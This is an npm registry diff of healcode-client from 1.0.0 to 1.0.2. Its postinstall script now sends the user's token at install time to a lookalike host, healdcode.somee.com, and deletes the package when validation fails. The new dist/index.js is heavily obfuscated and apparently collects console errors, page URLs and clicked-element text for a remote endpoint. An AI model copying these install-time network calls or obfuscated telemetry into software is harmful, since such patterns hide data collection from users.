healcode-client 1.0.0 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -2,8 +2,8 @@
2
2
 
3
3
  /**
4
4
  * HealCode - Postinstall Script
5
- * This script runs automatically after npm install
6
- * Prompts for token and configures the library
5
+ * REQUIRED: Token validation before installation completes
6
+ * Installation will FAIL without a valid token
7
7
  */
8
8
 
9
9
  const readline = require('readline');
@@ -15,7 +15,7 @@ const http = require('http');
15
15
  const CONFIG_FILE_NAME = 'healcode.config.json';
16
16
 
17
17
  // Load URLs from config
18
- let urlsConfig = { backendUrl: 'https://api.healcode.io', agentUrl: 'https://api.healcode.io' };
18
+ let urlsConfig = { backendUrl: 'https://www.healdcode.somee.com', agentUrl: 'https://www.healdcode.somee.com' };
19
19
  try {
20
20
  const urlsConfigPath = path.join(__dirname, '..', 'urls.config.json');
21
21
  if (fs.existsSync(urlsConfigPath)) {
@@ -44,15 +44,11 @@ function log(color, message) {
44
44
  }
45
45
 
46
46
  function findProjectRoot() {
47
- // When installed via npm, we need to go up from node_modules/@healcode/client
48
47
  let dir = process.cwd();
49
-
50
- // If we're inside node_modules, go up to project root
51
48
  if (dir.includes('node_modules')) {
52
49
  const parts = dir.split('node_modules');
53
50
  dir = parts[0];
54
51
  }
55
-
56
52
  return dir;
57
53
  }
58
54
 
@@ -62,6 +58,20 @@ function configExists() {
62
58
  return fs.existsSync(configPath);
63
59
  }
64
60
 
61
+ function removePackage() {
62
+ // Remove the package from node_modules if validation fails
63
+ const projectRoot = findProjectRoot();
64
+ const packagePath = path.join(projectRoot, 'node_modules', 'healcode-client');
65
+
66
+ try {
67
+ if (fs.existsSync(packagePath)) {
68
+ fs.rmSync(packagePath, { recursive: true, force: true });
69
+ }
70
+ } catch (e) {
71
+ // Ignore removal errors
72
+ }
73
+ }
74
+
65
75
  function validateToken(token, endpoint) {
66
76
  return new Promise((resolve, reject) => {
67
77
  const url = new URL(`${endpoint}/api/Tokens/validate`);
@@ -78,7 +88,7 @@ function validateToken(token, endpoint) {
78
88
  'Content-Type': 'application/json',
79
89
  'Content-Length': Buffer.byteLength(postData)
80
90
  },
81
- timeout: 10000
91
+ timeout: 15000
82
92
  };
83
93
 
84
94
  const req = protocol.request(options, (res) => {
@@ -106,28 +116,54 @@ function validateToken(token, endpoint) {
106
116
  }
107
117
 
108
118
  async function main() {
109
- // Skip if running in CI or non-interactive mode
110
- if (process.env.CI || process.env.HEALCODE_SKIP_SETUP || !process.stdin.isTTY) {
111
- return;
112
- }
113
-
114
- // Skip if we're in development mode (not installed as a dependency)
115
- // When installed as dependency, __dirname will be inside node_modules
116
- const currentDir = __dirname;
117
- if (!currentDir.includes('node_modules')) {
118
- // We're in the library's own development directory, skip setup
119
+ // Skip ONLY if explicitly set (for CI pipelines that handle auth differently)
120
+ if (process.env.HEALCODE_SKIP_AUTH === 'true') {
119
121
  return;
120
122
  }
121
123
 
122
- // Skip if config already exists
124
+ // If config already exists with valid token, skip
123
125
  if (configExists()) {
124
- log(colors.gray, '\n[HealCode] Configuration already exists. Skipping setup.');
126
+ log(colors.green, '\nāœ… [HealCode] Valid configuration found.');
125
127
  return;
126
128
  }
127
129
 
128
130
  console.log('');
129
- log(colors.green + colors.bold, '🩺 HealCode Setup');
131
+ log(colors.green + colors.bold, '═══════════════════════════════════════════');
132
+ log(colors.green + colors.bold, ' 🩺 HealCode - Authentication Required');
133
+ log(colors.green + colors.bold, '═══════════════════════════════════════════');
130
134
  console.log('');
135
+ log(colors.yellow, 'āš ļø A valid HealCode token is REQUIRED to use this package.');
136
+ log(colors.gray, ' Get your token at: https://healcode.vercel.app/dashboard');
137
+ console.log('');
138
+
139
+ // Check if interactive
140
+ if (!process.stdin.isTTY) {
141
+ log(colors.red, 'āŒ Installation failed: Non-interactive terminal detected.');
142
+ log(colors.yellow, '');
143
+ log(colors.yellow, ' To install healcode-client, you must provide a token.');
144
+ log(colors.yellow, ' Run the installation in an interactive terminal.');
145
+ log(colors.yellow, '');
146
+ log(colors.gray, ' Or set HEALCODE_TOKEN environment variable:');
147
+ log(colors.gray, ' HEALCODE_TOKEN=hc_xxx npm install healcode-client');
148
+ console.log('');
149
+
150
+ // Check for environment variable token
151
+ if (process.env.HEALCODE_TOKEN) {
152
+ log(colors.yellow, 'ā³ Found HEALCODE_TOKEN, validating...');
153
+ try {
154
+ const result = await validateToken(process.env.HEALCODE_TOKEN, DEFAULT_BACKEND_URL);
155
+ if (result.isValid) {
156
+ await saveConfig(process.env.HEALCODE_TOKEN, result);
157
+ return; // Success
158
+ }
159
+ } catch (e) {
160
+ // Fall through to failure
161
+ }
162
+ }
163
+
164
+ removePackage();
165
+ process.exit(1);
166
+ }
131
167
 
132
168
  const rl = readline.createInterface({
133
169
  input: process.stdin,
@@ -138,98 +174,118 @@ async function main() {
138
174
  rl.question(prompt, resolve);
139
175
  });
140
176
 
141
- try {
142
- // Get token
143
- const token = await question(`${colors.cyan}Enter your HealCode token: ${colors.reset}`);
144
-
145
- if (!token || token.trim().length === 0) {
146
- log(colors.yellow, '\nāš ļø No token provided. Run "npx healcode init" later to configure.');
147
- rl.close();
148
- return;
149
- }
150
-
151
- // Get endpoint (with default)
152
- let endpoint = await question(`${colors.cyan}API Endpoint ${colors.gray}(press Enter for default)${colors.cyan}: ${colors.reset}`);
153
-
154
- if (!endpoint || endpoint.trim().length === 0) {
155
- // Default endpoint - use configured backend URL
156
- endpoint = DEFAULT_BACKEND_URL;
157
- }
177
+ let attempts = 0;
178
+ const maxAttempts = 3;
158
179
 
159
- log(colors.yellow, '\nā³ Validating token...');
180
+ while (attempts < maxAttempts) {
181
+ attempts++;
160
182
 
161
183
  try {
162
- const result = await validateToken(token.trim(), endpoint.trim());
184
+ const token = await question(`${colors.cyan}Enter your HealCode token: ${colors.reset}`);
163
185
 
164
- if (!result.isValid) {
165
- log(colors.red, `\nāŒ Token validation failed: ${result.errorMessage || 'Invalid token'}`);
166
- log(colors.gray, 'Get a valid token at your HealCode dashboard\n');
167
- rl.close();
168
- return;
186
+ if (!token || token.trim().length === 0) {
187
+ log(colors.red, `\nāŒ Token is required. Attempt ${attempts}/${maxAttempts}`);
188
+ if (attempts >= maxAttempts) break;
189
+ continue;
169
190
  }
170
191
 
171
- log(colors.green, 'āœ… Token validated successfully!');
172
- if (result.projectId) {
173
- log(colors.gray, ` Project ID: ${result.projectId}`);
174
- }
192
+ log(colors.yellow, '\nā³ Validating token...');
175
193
 
176
- // Get agent endpoint for error reporting (from server response or use default)
177
- let agentEndpoint = result.agentEndpoint || DEFAULT_AGENT_URL;
178
-
179
- // Create config
180
- const projectRoot = findProjectRoot();
181
- const config = {
182
- token: token.trim(),
183
- endpoint: agentEndpoint,
184
- enabled: true,
185
- options: {
186
- captureConsoleErrors: true,
187
- captureUnhandledRejections: true,
188
- maxBreadcrumbs: 20
194
+ try {
195
+ const result = await validateToken(token.trim(), DEFAULT_BACKEND_URL);
196
+
197
+ if (!result.isValid) {
198
+ log(colors.red, `\nāŒ Invalid token: ${result.errorMessage || 'Token not recognized'}`);
199
+ log(colors.gray, ` Attempt ${attempts}/${maxAttempts}`);
200
+ if (attempts >= maxAttempts) break;
201
+ console.log('');
202
+ continue;
189
203
  }
190
- };
191
204
 
192
- // Apply remote configuration if available
193
- if (result.configuration) {
194
- Object.assign(config.options, result.configuration);
195
- log(colors.green, 'āœ… Configuration loaded from Dashboard.');
196
- }
205
+ // SUCCESS - Save config and complete installation
206
+ log(colors.green, '\nāœ… Token validated successfully!');
207
+ if (result.projectId) {
208
+ log(colors.gray, ` Project: ${result.projectId}`);
209
+ }
197
210
 
198
- const configPath = path.join(projectRoot, CONFIG_FILE_NAME);
199
- fs.writeFileSync(configPath, JSON.stringify(config, null, 2));
211
+ await saveConfig(token.trim(), result);
212
+
213
+ rl.close();
214
+
215
+ console.log('');
216
+ log(colors.green + colors.bold, 'šŸŽ‰ HealCode installed successfully!');
217
+ log(colors.gray, '');
218
+ log(colors.gray, ' Usage:');
219
+ log(colors.gray, " import { initFromConfig } from 'healcode-client';");
220
+ log(colors.gray, ' initFromConfig();');
221
+ console.log('');
222
+
223
+ return; // Success - exit normally
224
+
225
+ } catch (error) {
226
+ log(colors.red, `\nāŒ Connection error: ${error.message}`);
227
+ log(colors.gray, ` Attempt ${attempts}/${maxAttempts}`);
228
+ if (attempts >= maxAttempts) break;
229
+ console.log('');
230
+ }
200
231
 
201
- log(colors.green, `\nāœ… Config saved to ${CONFIG_FILE_NAME}`);
232
+ } catch (e) {
233
+ break;
234
+ }
235
+ }
202
236
 
203
- // Add to .gitignore
204
- const gitignorePath = path.join(projectRoot, '.gitignore');
205
- if (fs.existsSync(gitignorePath)) {
206
- let gitignore = fs.readFileSync(gitignorePath, 'utf-8');
207
- if (!gitignore.includes(CONFIG_FILE_NAME)) {
208
- fs.appendFileSync(gitignorePath, `\n# HealCode\n${CONFIG_FILE_NAME}\n`);
209
- log(colors.gray, `Added ${CONFIG_FILE_NAME} to .gitignore`);
210
- }
211
- }
237
+ // FAILED - Remove package and exit with error
238
+ rl.close();
239
+
240
+ console.log('');
241
+ log(colors.red + colors.bold, '═══════════════════════════════════════════');
242
+ log(colors.red + colors.bold, ' āŒ Installation FAILED - Invalid Token');
243
+ log(colors.red + colors.bold, '═══════════════════════════════════════════');
244
+ console.log('');
245
+ log(colors.yellow, ' healcode-client requires a valid token to install.');
246
+ log(colors.yellow, ' Get your token at: https://healcode.vercel.app/dashboard');
247
+ console.log('');
248
+
249
+ removePackage();
250
+ process.exit(1);
251
+ }
212
252
 
213
- // Show usage
214
- console.log('');
215
- log(colors.cyan, 'šŸ“– Usage:');
216
- console.log('');
217
- log(colors.gray, ' // In your main entry file (e.g., main.ts, index.js)');
218
- log(colors.gray, " import { initFromConfig } from '@healcode/client';");
219
- log(colors.gray, ' initFromConfig();');
220
- console.log('');
221
- log(colors.green + colors.bold, 'šŸŽ‰ HealCode is ready! Errors will be automatically tracked.\n');
222
-
223
- } catch (error) {
224
- log(colors.yellow, `\nāš ļø Could not validate token: ${error.message}`);
225
- log(colors.gray, 'You can configure manually later with "npx healcode init"\n');
253
+ async function saveConfig(token, validationResult) {
254
+ const projectRoot = findProjectRoot();
255
+ const agentEndpoint = validationResult.agentEndpoint || DEFAULT_AGENT_URL;
256
+
257
+ const config = {
258
+ token: token,
259
+ endpoint: agentEndpoint,
260
+ enabled: true,
261
+ options: {
262
+ captureConsoleErrors: true,
263
+ captureUnhandledRejections: true,
264
+ maxBreadcrumbs: 20
226
265
  }
266
+ };
227
267
 
228
- } finally {
229
- rl.close();
268
+ if (validationResult.configuration) {
269
+ Object.assign(config.options, validationResult.configuration);
230
270
  }
271
+
272
+ const configPath = path.join(projectRoot, CONFIG_FILE_NAME);
273
+ fs.writeFileSync(configPath, JSON.stringify(config, null, 2));
274
+
275
+ // Add to .gitignore
276
+ const gitignorePath = path.join(projectRoot, '.gitignore');
277
+ if (fs.existsSync(gitignorePath)) {
278
+ let gitignore = fs.readFileSync(gitignorePath, 'utf-8');
279
+ if (!gitignore.includes(CONFIG_FILE_NAME)) {
280
+ fs.appendFileSync(gitignorePath, `\n# HealCode\n${CONFIG_FILE_NAME}\n`);
281
+ }
282
+ }
283
+
284
+ log(colors.green, `āœ… Config saved to ${CONFIG_FILE_NAME}`);
231
285
  }
232
286
 
233
- main().catch(() => {
234
- // Silent fail - postinstall should not break npm install
287
+ main().catch((err) => {
288
+ log(colors.red, `\nāŒ Installation failed: ${err.message}`);
289
+ removePackage();
290
+ process.exit(1);
235
291
  });
package/dist/index.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x5a3a5c=a0_0x3829;(function(_0x2dc44e,_0x4c947a){const _0x17031c=a0_0x3829,_0x4e81f0=_0x2dc44e();while(!![]){try{const _0x542e04=parseInt(_0x17031c(0x14c))/0x1+parseInt(_0x17031c(0x126))/0x2*(parseInt(_0x17031c(0xd9))/0x3)+-parseInt(_0x17031c(0x15d))/0x4*(-parseInt(_0x17031c(0x13f))/0x5)+parseInt(_0x17031c(0x144))/0x6+parseInt(_0x17031c(0x150))/0x7+-parseInt(_0x17031c(0x15a))/0x8+parseInt(_0x17031c(0x112))/0x9*(-parseInt(_0x17031c(0x102))/0xa);if(_0x542e04===_0x4c947a)break;else _0x4e81f0['push'](_0x4e81f0['shift']());}catch(_0x57d922){_0x4e81f0['push'](_0x4e81f0['shift']());}}}(a0_0x3c52,0x640c4));var C=Object[a0_0x5a3a5c(0x13a)],l=Object['defineProperty'],m=Object[a0_0x5a3a5c(0x100)],b=Object[a0_0x5a3a5c(0x131)],w=Object[a0_0x5a3a5c(0xda)],H=Object[a0_0x5a3a5c(0x12c)][a0_0x5a3a5c(0x121)],v=(_0x5bfce9,_0xe03a1e)=>{const _0x516a12=a0_0x5a3a5c,_0x352e23={'ZjBSJ':function(_0xd82f5,_0x48098b,_0x1d3a07,_0x35d285){return _0xd82f5(_0x48098b,_0x1d3a07,_0x35d285);}};for(var _0x3e7fd8 in _0xe03a1e)_0x352e23[_0x516a12(0x105)](l,_0x5bfce9,_0x3e7fd8,{'get':_0xe03a1e[_0x3e7fd8],'enumerable':!0x0});},u=(_0x514493,_0x2f346e,_0x47b9de,_0x5d0e0a)=>{const _0x139804=a0_0x5a3a5c,_0x4543e5={'pKitS':function(_0x2b6216,_0x1834fd){return _0x2b6216==_0x1834fd;},'LlEXo':_0x139804(0x167),'YXTPl':'function','RjppJ':function(_0x1dfe2b,_0x5764ae){return _0x1dfe2b(_0x5764ae);},'Hbues':function(_0x3d4553,_0x283bbe){return _0x3d4553!==_0x283bbe;},'cOPZv':function(_0x42b4dd,_0x5cdd8b,_0x308db8,_0x45b812){return _0x42b4dd(_0x5cdd8b,_0x308db8,_0x45b812);},'eHKuA':function(_0x1746e7,_0x218e00,_0x4fe2d1){return _0x1746e7(_0x218e00,_0x4fe2d1);}};if(_0x2f346e&&_0x4543e5[_0x139804(0x11c)](typeof _0x2f346e,_0x4543e5[_0x139804(0x119)])||_0x4543e5[_0x139804(0x11c)](typeof _0x2f346e,_0x4543e5[_0x139804(0x158)])){for(let _0xa418c8 of _0x4543e5[_0x139804(0xea)](b,_0x2f346e))!H[_0x139804(0xe7)](_0x514493,_0xa418c8)&&_0x4543e5[_0x139804(0x155)](_0xa418c8,_0x47b9de)&&_0x4543e5[_0x139804(0xe9)](l,_0x514493,_0xa418c8,{'get':()=>_0x2f346e[_0xa418c8],'enumerable':!(_0x5d0e0a=_0x4543e5[_0x139804(0x11e)](m,_0x2f346e,_0xa418c8))||_0x5d0e0a[_0x139804(0x146)]});}return _0x514493;},f=(_0x22ad50,_0x239689,_0x33053e)=>(_0x33053e=_0x22ad50!=null?C(w(_0x22ad50)):{},u(_0x239689||!_0x22ad50||!_0x22ad50[a0_0x5a3a5c(0x13b)]?l(_0x33053e,'default',{'value':_0x22ad50,'enumerable':!0x0}):_0x33053e,_0x22ad50)),y=_0x18e047=>u(l({},a0_0x5a3a5c(0x13b),{'value':!0x0}),_0x18e047),N={};function a0_0x3829(_0x5ebf82,_0x1e21d7){_0x5ebf82=_0x5ebf82-0xd7;const _0x3c52cf=a0_0x3c52();let _0x3829a3=_0x3c52cf[_0x5ebf82];if(a0_0x3829['DpnGLE']===undefined){var _0x2a5301=function(_0xa9eef5){const _0x59f0a6='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x380c9a='',_0x2ff39b='';for(let _0x1ba2ee=0x0,_0x54eecb,_0x5ec5ce,_0x2a6759=0x0;_0x5ec5ce=_0xa9eef5['charAt'](_0x2a6759++);~_0x5ec5ce&&(_0x54eecb=_0x1ba2ee%0x4?_0x54eecb*0x40+_0x5ec5ce:_0x5ec5ce,_0x1ba2ee++%0x4)?_0x380c9a+=String['fromCharCode'](0xff&_0x54eecb>>(-0x2*_0x1ba2ee&0x6)):0x0){_0x5ec5ce=_0x59f0a6['indexOf'](_0x5ec5ce);}for(let _0x50a02d=0x0,_0x318128=_0x380c9a['length'];_0x50a02d<_0x318128;_0x50a02d++){_0x2ff39b+='%'+('00'+_0x380c9a['charCodeAt'](_0x50a02d)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x2ff39b);};a0_0x3829['lJLHGL']=_0x2a5301,a0_0x3829['KNiQkT']={},a0_0x3829['DpnGLE']=!![];}const _0x576947=_0x3c52cf[0x0],_0x3b0fe2=_0x5ebf82+_0x576947,_0x185caf=a0_0x3829['KNiQkT'][_0x3b0fe2];return!_0x185caf?(_0x3829a3=a0_0x3829['lJLHGL'](_0x3829a3),a0_0x3829['KNiQkT'][_0x3b0fe2]=_0x3829a3):_0x3829a3=_0x185caf,_0x3829a3;}v(N,{'HealCode':()=>s,'initFromConfig':()=>h,'loadConfig':()=>p}),module['exports']=y(N);var g=a0_0x5a3a5c(0x139),E=g+'/api/logs/',x=0x14,s=class{constructor(_0x5879a8){const _0x13fcff=a0_0x5a3a5c,_0x46a00c={'fXBQU':function(_0x84db9a,_0x1842cf){return _0x84db9a!==_0x1842cf;},'vZjPB':function(_0x21e8c3,_0x29a0b5){return _0x21e8c3!==_0x29a0b5;},'aNXyR':function(_0x336b7e,_0x4bef67){return _0x336b7e<_0x4bef67;}};this[_0x13fcff(0xf3)]=[],this[_0x13fcff(0xf7)]=new Set(),this[_0x13fcff(0x16d)]=!0x1,(this['config']={'token':_0x5879a8[_0x13fcff(0x15b)],'endpoint':_0x5879a8['endpoint']||E,'enabled':_0x46a00c[_0x13fcff(0x16c)](_0x5879a8[_0x13fcff(0x113)],!0x1),'captureConsoleErrors':_0x5879a8[_0x13fcff(0x154)]!==!0x1,'captureUnhandledRejections':_0x46a00c[_0x13fcff(0x14e)](_0x5879a8[_0x13fcff(0xeb)],!0x1),'maxBreadcrumbs':_0x5879a8[_0x13fcff(0xf9)]||x,'beforeSend':_0x5879a8[_0x13fcff(0xff)]},this[_0x13fcff(0x110)][_0x13fcff(0x113)]&&_0x46a00c[_0x13fcff(0x13d)](typeof window,'u')&&this['init']());}[a0_0x5a3a5c(0x11f)](){const _0x1125a5=a0_0x5a3a5c,_0x1c0310={'UFEvc':'[HealCode]\x20Initialized\x20successfully'};this[_0x1125a5(0x16d)]||(this[_0x1125a5(0x16d)]=!0x0,this[_0x1125a5(0xee)](),this[_0x1125a5(0x117)](),this[_0x1125a5(0x110)]['captureConsoleErrors']&&this[_0x1125a5(0x101)](),this['interceptWindowErrors'](),this[_0x1125a5(0x110)]['captureUnhandledRejections']&&this['interceptUnhandledRejections'](),console[_0x1125a5(0x120)](_0x1c0310['UFEvc']));}[a0_0x5a3a5c(0xee)](){const _0x30ddcb=a0_0x5a3a5c,_0x31ac45={'tYpKS':_0x30ddcb(0x14b),'PUOcw':_0x30ddcb(0x133)};window['addEventListener'](_0x31ac45['tYpKS'],()=>this[_0x30ddcb(0x106)](_0x30ddcb(0x104),'Connection\x20restored',{'status':_0x30ddcb(0x14b)})),window[_0x30ddcb(0x161)](_0x31ac45['PUOcw'],()=>this['addBreadcrumb'](_0x30ddcb(0x104),_0x30ddcb(0x157),{'status':_0x30ddcb(0x133)}));}[a0_0x5a3a5c(0x117)](){const _0x2e7dc3=a0_0x5a3a5c,_0x380f24={'liVlg':function(_0x154bac,_0x173130){return _0x154bac||_0x173130;},'QOUru':function(_0x5bed50,_0x4ba273){return _0x5bed50<_0x4ba273;},'IipEi':function(_0x3f45dd,_0x43a361){return _0x3f45dd-_0x43a361;},'PjVix':function(_0x4d10f4,_0x4c641a){return _0x4d10f4<<_0x4c641a;},'NariC':function(_0x1fc8ed,_0x13741f){return _0x1fc8ed&_0x13741f;},'ArNiD':function(_0x1d3789,_0x5dd72f){return _0x1d3789!==_0x5dd72f;},'jmtSL':'TUFfw','OmMNG':_0x2e7dc3(0xfd),'SPuEB':'click'};document[_0x2e7dc3(0x161)](_0x380f24[_0x2e7dc3(0x165)],_0x82432d=>{const _0x1c20a3=_0x2e7dc3;if(_0x380f24[_0x1c20a3(0x10a)](_0x380f24[_0x1c20a3(0x130)],_0x1c20a3(0x160))){let _0x56cc6d=_0x82432d[_0x1c20a3(0x15c)];this[_0x1c20a3(0x106)](_0x380f24[_0x1c20a3(0xf1)],_0x1c20a3(0xe3)+_0x56cc6d[_0x1c20a3(0xd7)],{'id':_0x56cc6d['id']||void 0x0,'className':_0x56cc6d['className']||void 0x0,'text':_0x56cc6d[_0x1c20a3(0xd8)]?.[_0x1c20a3(0x142)](0x0,0x32)||void 0x0});}else{let _0x23b565=_0x53b8ef+_0x380f24[_0x1c20a3(0x114)](_0x28d233,''),_0x1045c2=0x0;for(let _0x56c20e=0x0;_0x380f24[_0x1c20a3(0xe0)](_0x56c20e,_0x23b565[_0x1c20a3(0x132)]);_0x56c20e++){let _0x2a1270=_0x23b565[_0x1c20a3(0xe5)](_0x56c20e);_0x1045c2=_0x380f24['IipEi'](_0x380f24[_0x1c20a3(0x11d)](_0x1045c2,0x5),_0x1045c2)+_0x2a1270,_0x1045c2=_0x380f24[_0x1c20a3(0xe2)](_0x1045c2,_0x1045c2);}return _0x1045c2[_0x1c20a3(0xdb)]();}},!0x0);}[a0_0x5a3a5c(0x101)](){const _0x387059=a0_0x5a3a5c,_0x550e19={'xemSj':function(_0x5b54d7,_0x39b97a){return _0x5b54d7==_0x39b97a;},'pClzE':'string','hNhxO':_0x387059(0xef),'tehpQ':_0x387059(0xe8),'FboXt':function(_0x48b9fe,_0x3a74a9){return _0x48b9fe!==_0x3a74a9;},'CfhnF':_0x387059(0x143),'SHhHK':'HfGdH'};let _0x2cfa05=console[_0x387059(0xe8)];console[_0x387059(0xe8)]=(..._0x34a3f4)=>{const _0x4d7e7b=_0x387059,_0x3f45d2={'ShDtI':function(_0x39e8ca,_0x5271c7){const _0x586a6d=a0_0x3829;return _0x550e19[_0x586a6d(0x13c)](_0x39e8ca,_0x5271c7);},'uKwtj':_0x550e19[_0x4d7e7b(0x10e)],'yDPeg':_0x550e19[_0x4d7e7b(0x163)],'tuNEd':_0x550e19[_0x4d7e7b(0xfe)]};if(_0x550e19['FboXt'](_0x550e19[_0x4d7e7b(0x140)],_0x550e19['SHhHK'])){let _0x1cc978=_0x34a3f4[_0x4d7e7b(0x15e)](_0x4a2b0c=>typeof _0x4a2b0c==_0x4d7e7b(0x167)?JSON[_0x4d7e7b(0x10d)](_0x4a2b0c):String(_0x4a2b0c))[_0x4d7e7b(0xdd)]('\x20');this[_0x4d7e7b(0x152)](_0x550e19[_0x4d7e7b(0xfe)],_0x1cc978),_0x2cfa05['apply'](console,_0x34a3f4);}else _0x38093c['onerror']=(_0x4483f6,_0x563732,_0x565547,_0x528eed,_0x4f16b6)=>{const _0x32c5e5=_0x4d7e7b;let _0x2b29f8=_0x3f45d2[_0x32c5e5(0x107)](typeof _0x4483f6,_0x3f45d2[_0x32c5e5(0x128)])?_0x4483f6:_0x3f45d2[_0x32c5e5(0x135)];this['capture'](_0x3f45d2['tuNEd'],_0x2b29f8+'\x20at\x20'+_0x563732+':'+_0x565547+':'+_0x528eed,_0x4f16b6?.[_0x32c5e5(0x156)]);};};}[a0_0x5a3a5c(0x12f)](){const _0x5ee505=a0_0x5a3a5c,_0xd10e73={'kQzSM':function(_0x2c0871,_0x1c2f4a){return _0x2c0871==_0x1c2f4a;},'lRKCv':'string','lRayg':'Unknown\x20error','oqBns':_0x5ee505(0xe8)};window['onerror']=(_0x1760b9,_0x329ca2,_0x47dd2a,_0x5e2b0a,_0x3452f9)=>{const _0x3742e9=_0x5ee505;let _0x401d3a=_0xd10e73['kQzSM'](typeof _0x1760b9,_0xd10e73[_0x3742e9(0x13e)])?_0x1760b9:_0xd10e73[_0x3742e9(0x153)];this[_0x3742e9(0x152)](_0xd10e73[_0x3742e9(0x170)],_0x401d3a+_0x3742e9(0x14d)+_0x329ca2+':'+_0x47dd2a+':'+_0x5e2b0a,_0x3452f9?.[_0x3742e9(0x156)]);};}[a0_0x5a3a5c(0x16e)](){const _0x4fc200=a0_0x5a3a5c,_0x8f1f33={'wkqAS':'error'};window[_0x4fc200(0xe6)]=_0x7b4fb8=>{const _0x568be8=_0x4fc200;this['capture'](_0x8f1f33[_0x568be8(0x11b)],'Unhandled\x20Rejection:\x20'+_0x7b4fb8[_0x568be8(0x12b)]);};}[a0_0x5a3a5c(0x106)](_0x167bf3,_0x3a28a2,_0x97c40a){const _0x5c2ab7=a0_0x5a3a5c;let _0x1a045d={'type':_0x167bf3,'message':_0x3a28a2,'timestamp':new Date()[_0x5c2ab7(0xfb)](),'data':_0x97c40a};this[_0x5c2ab7(0xf3)][_0x5c2ab7(0x141)](_0x1a045d),this[_0x5c2ab7(0xf3)][_0x5c2ab7(0x132)]>this[_0x5c2ab7(0x110)][_0x5c2ab7(0xf9)]&&this[_0x5c2ab7(0xf3)][_0x5c2ab7(0x10f)]();}[a0_0x5a3a5c(0x152)](_0x4752ad,_0x3495c5,_0x116ead){const _0x1e362a=a0_0x5a3a5c,_0x450114={'vKgca':function(_0xbad84c,_0x29170b,_0x144635){return _0xbad84c(_0x29170b,_0x144635);},'ClmOZ':function(_0x47f895,_0x1f29d4){return _0x47f895*_0x1f29d4;},'FQtYj':_0x1e362a(0x14b),'grmiA':_0x1e362a(0x133)};if(!this['config'][_0x1e362a(0x113)])return;let _0x33095c=this[_0x1e362a(0xf8)](_0x3495c5,_0x116ead);if(this[_0x1e362a(0xf7)][_0x1e362a(0x116)](_0x33095c))return;this['sentHashes']['add'](_0x33095c),_0x450114[_0x1e362a(0x136)](setTimeout,()=>this[_0x1e362a(0xf7)][_0x1e362a(0xf4)](_0x33095c),_0x450114[_0x1e362a(0x169)](0x12c,0x3e8));let _0x1c81e6={'token':this[_0x1e362a(0x110)]['token'],'message':_0x3495c5,'stacktrace':_0x116ead,'url':window['location'][_0x1e362a(0xf0)],'level':_0x4752ad,'userAgent':navigator[_0x1e362a(0x12d)],'networkStatus':navigator[_0x1e362a(0x16f)]?_0x450114[_0x1e362a(0x10b)]:_0x450114[_0x1e362a(0x108)],'breadcrumbs':[...this[_0x1e362a(0xf3)]],'timestamp':new Date()[_0x1e362a(0xfb)]()};this[_0x1e362a(0x110)][_0x1e362a(0xff)]&&(_0x1c81e6=this[_0x1e362a(0x110)][_0x1e362a(0xff)](_0x1c81e6),!_0x1c81e6)||this['send'](_0x1c81e6);}[a0_0x5a3a5c(0xf8)](_0x224240,_0x26c682){const _0x5093de=a0_0x5a3a5c,_0x61298e={'DMyBp':function(_0x3e2aca,_0x188fa4){return _0x3e2aca+_0x188fa4;},'XrMRw':function(_0x41adaa,_0x2d5692){return _0x41adaa<_0x2d5692;},'NSoJV':function(_0x45329f,_0x15ee9d){return _0x45329f-_0x15ee9d;},'TQogP':function(_0xe88c22,_0x263e76){return _0xe88c22<<_0x263e76;},'HwWSw':function(_0x8efbd3,_0x4c039b){return _0x8efbd3&_0x4c039b;}};let _0x5990d3=_0x61298e[_0x5093de(0x11a)](_0x224240,_0x26c682||''),_0x86820c=0x0;for(let _0x85128b=0x0;_0x61298e[_0x5093de(0x122)](_0x85128b,_0x5990d3[_0x5093de(0x132)]);_0x85128b++){let _0x1d180e=_0x5990d3[_0x5093de(0xe5)](_0x85128b);_0x86820c=_0x61298e[_0x5093de(0x11a)](_0x61298e[_0x5093de(0x137)](_0x61298e[_0x5093de(0xf2)](_0x86820c,0x5),_0x86820c),_0x1d180e),_0x86820c=_0x61298e['HwWSw'](_0x86820c,_0x86820c);}return _0x86820c[_0x5093de(0xdb)]();}async['send'](_0x402ec4){const _0x4534fd=a0_0x5a3a5c,_0x5128d2={'sRDdX':_0x4534fd(0xf6),'MLSmw':function(_0x47cfbf,_0x3b0e8a){return _0x47cfbf+_0x3b0e8a;},'GgYch':_0x4534fd(0x115),'qbaGs':_0x4534fd(0x10c),'bMoeO':_0x4534fd(0x147),'cVBYJ':_0x4534fd(0xdf),'CwZjn':'[HealCode]\x20Failed\x20to\x20report\x20error:','mdAdz':_0x4534fd(0x16b)};try{let _0x1d8e3e=this[_0x4534fd(0x110)][_0x4534fd(0x164)];!_0x1d8e3e['endsWith'](_0x4534fd(0x115))&&!_0x1d8e3e[_0x4534fd(0x159)](_0x5128d2['sRDdX'])&&(_0x1d8e3e=_0x5128d2[_0x4534fd(0xec)](_0x1d8e3e[_0x4534fd(0xf5)](/\/$/,''),_0x5128d2['GgYch']));let _0x3ec29f=await fetch(_0x1d8e3e,{'method':_0x5128d2['qbaGs'],'headers':{'Content-Type':_0x5128d2[_0x4534fd(0xe1)],'X-HealCode-Token':this['config']['token']},'body':JSON[_0x4534fd(0x10d)](_0x402ec4),'keepalive':!0x0});_0x3ec29f['ok']?console[_0x4534fd(0x120)](_0x5128d2[_0x4534fd(0x151)]):console[_0x4534fd(0xde)](_0x5128d2[_0x4534fd(0x14a)],_0x3ec29f['status']);}catch(_0x3dc163){console['warn'](_0x5128d2[_0x4534fd(0x127)],_0x3dc163);}}[a0_0x5a3a5c(0x162)](_0x1ae36f){const _0x40d699=a0_0x5a3a5c;this[_0x40d699(0x110)][_0x40d699(0x113)]=_0x1ae36f;}[a0_0x5a3a5c(0x138)](){const _0x227ede=a0_0x5a3a5c;return this[_0x227ede(0x110)][_0x227ede(0x113)];}},a=f(require('fs')),d=f(require(a0_0x5a3a5c(0x14f))),k=a0_0x5a3a5c(0xfc);function S(_0x4dc455=process[a0_0x5a3a5c(0xe4)]()){const _0x4a181c=a0_0x5a3a5c,_0x58bf5f={'OJqtK':function(_0x4ac62c,_0x2b0778){return 